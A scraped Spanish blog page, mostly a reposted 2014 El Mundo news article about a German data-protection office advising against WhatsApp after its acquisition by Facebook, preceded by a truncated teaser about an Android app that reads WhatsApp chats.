Fuente: <a href="http://www.hackplayers.com/2014/03/aplicacion-android-para-robar-y-leer-whatsapp.html" target="_blank">hackplayers</a>

¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos qu...

Alemania desaconseja el uso de WhatsApp

Apenas se leyó los términos del <a href="http://www.elmundo.es/economia/2014/02/19/53052f1e268e3eed5d8b456c.html" rel="nofollow" target="_blank">acuerdo entre Facebook y WhatsApp</a>, el responsable de la oficina de regulación de la privacidad en las comunicaciones, con sede en Schleswig Holstein, emitió <a href="https://www.datenschutzzentrum.de/presse/20140220-whatsapp-facebook.htm" rel="nofollow" target="_blank">un comunicado</a> en el que desaconseja a los alemanes utilizar WhatsApp para comunicarse a través de mensajes instantáneos. La
 combinación en un mismo dispositivo móvil de WhatsApp y Facebook deja 
al usuario completamente desprotegido y quienes utilizarán sus datos a 
partir de ese momento no responden ante las leyes de protección 
europeas. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghrq2DGmG53Gz84Q672MrnMR6-EyYYU6m92qd6f8xElbkQMXK95T05no5bVLNaFefi1WY-oZX8YZW8IlW9jNuwAhaiGyAao47qlSb-Ba-I86WAzkNYTNgYmipaeooTXc31UOuNjk3OrNf8/s1600/Icono_Facebook.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghrq2DGmG53Gz84Q672MrnMR6-EyYYU6m92qd6f8xElbkQMXK95T05no5bVLNaFefi1WY-oZX8YZW8IlW9jNuwAhaiGyAao47qlSb-Ba-I86WAzkNYTNgYmipaeooTXc31UOuNjk3OrNf8/s1600/Icono_Facebook.jpg" /></a></div>
 El director de esta oficina, Thilo Weichert, no tiene 
reparo alguno en llamar al boicot. "En la aplicación WhatsApp ni 
siquiera encontramos una declaración sobre política de protección de 
datos. Eso quiere decir que se reservan el derecho a disponer de los 
datos de los usuarios como les parezca mejor", advierte. "Ademas,
 tras consultar a nuestros juristas, hemos constatado que este tipo de 
comunicaciones se encuentra en una intefaz problemática entre las 
telecomunicaciones y los medios de comunicación que dificulta en extremo
 la acción de la justicia, porque no hay una legislación específica al 
respecto", añade. Basándose en la pronunciación del Colegio 
de Abogados de Alemania Nº 55/2013, aconseja evitar el uso de esa 
aplicación, a la que el especialista alemán Niko Härting apoda sin pudor
 "el Moloch de los datos", en referencia al demonio hebreo que exigía 
niños en sacrificio. Lo cierto es hay un elevado número de 
usuarios de Facebook que habían decidido, ellos o sus padres, pasarse a 
WhatsApp para proteger sus comunicaciones, por tratarse de un entorno 
más cerrado que queda ahora de nuevo expuesto. "WhatsApp es una forma insegura de comunicarse y tiene severos problemas de seguridad y privacidad",
 asegura el comunicado, que intenta además convencer a todos los 
usuarios para que utilicen herramientas que se atengan a las leyes de la
 Unión Europea. "Ambas compañías se han negado a acatar las 
normativas de seguridad y de privacidad de datos establecidas por la UE y
 sus usuarios deben saber que están totalmente desprotegidos", dice Weichert. Sugiere,
 concretamente, el uso de aplicaciones europeas como Threema y myEnigma,
 que sí se rigen por las políticas de privacidad y transparencia de la 
información de la Unión Europea y responden ante los tribunales europeos
 ante las infracciones que sean denunciadas, mientras que Facebook y 
WhatsApp tienen sus sedes en Estados Unidos, país en donde las leyes de 
protección de datos son bastante menos estrictas que en Europa. Desde su punto de vista, la mínima posibilidad de una fusión de datos de WhatsApp con Facebook puede causar "problemas graves en el manejo de datos personales". La
 política de privacidad de WhatsApp, según sus responsables, consiste en
 compartir información con otros proveedores de servicio y en usar 
información personal, ya sean datos de uso, cookies, IP, entre otros, 
con el objetivo de mejorar la calidad del servicio y generar la creación
 de nuevas características para mejorar la experiencia del usuario. Fuente: <a href="http://www.elmundo.es/tecnologia/2014/02/24/530b1a8fca4741c3388b456d.html" rel="nofollow" target="_blank">El Mundo</a> 
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

Apenas se leyó los términos del acuerdo entre Facebook y WhatsApp , el responsable de la oficina de regulación de la privacidad en las comun...